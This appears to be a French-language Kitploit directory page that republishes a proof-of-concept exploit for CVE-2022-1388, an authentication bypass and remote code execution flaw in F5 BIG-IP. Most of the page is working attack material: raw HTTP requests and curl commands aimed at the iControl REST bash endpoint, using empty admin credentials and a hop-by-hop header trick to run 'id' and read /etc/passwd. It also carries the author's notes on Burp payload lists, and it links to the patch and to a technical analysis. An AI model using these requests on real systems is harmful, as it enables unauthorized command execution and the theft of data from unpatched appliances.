Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-1388_PoC — F5 BIG-IP RCE exploitation (CVE-2022-1388) | Kitploit
Outils/GitHubGitHub/alt3kx/cve-2022-1388_poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationAPI Security
GitHubalt3kx/cve-2022-1388_poc

CVE-2022-1388_PoC

F5 BIG-IP RCE exploitation (CVE-2022-1388)

Voir le dépôt
8717il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploitation RCE F5 BIG-IP (CVE-2022-1388)

POST (1): poc_id

root@kitploit:~
POST /mgmt/tm/util/bash HTTP/1.1
Host: <redacted>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c 'id' " }

Commande curl :

root@kitploit:~
$ curl -i -s -k -X $'POST' \
-H $'Host: <redacted>:8443' \
-H $'Authorization: Basic YWRtaW46' \
-H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
-H $'Content-Length: 52' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \'id\' \" }\x0d\x0a' \
$'https://<redacted>:8443/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080

POST (2): poc_pass

root@kitploit:~
POST /mgmt/tm/util/bash HTTP/1.1
Host: <redateced>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }

Commande curl :

root@kitploit:~
$ curl -i -s -k -X $'POST' \
-H $'Host: <redacted>:8443' \
-H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \' cat /etc/passwd\' \" }\x0d\x0a\x0d\x0a' \
$'https://<redacted>/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080

Remarque :

root@kitploit:~
Le problème pourrait être lié à l'authentification entre le frontend et le backend "Jetty" avec des identifiants vides "admin: <empty>" 
+ la valeur des en-têtes, voir "HTTP hop_by_hop request headers"...

Mon BIG-IP maintenant corrigé :

image

Références et correctifs :

  • https://support.f5.com/csp/article/K23605346
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388

Voici la documentation utilisée pour les dernières notes :

  • https://clouddocs.f5.com/api/icontrol-rest/

En-têtes de requêtes HTTP hop_by_hop :

  • https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open

Analyse technique approfondie du contournement de l'authentification du point de terminaison iControl REST F5 par horizon3

  • https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/

Mes notes :

  • Mis à jour avec mes points de terminaison iControl et ma liste de commandes utilisées dans mes recherches (extrait de la documentation publique)
  • Peut utiliser Burp avec "cluster bomb" ou "Battering ram" (liste simple) par exemple

Payload1: icontrol_api_endpoints.txt
Payload2: icontrol_api_commands.txt

Auteur

Alex Hernandez alias (@_alt3kx_)

Télécharger l’outil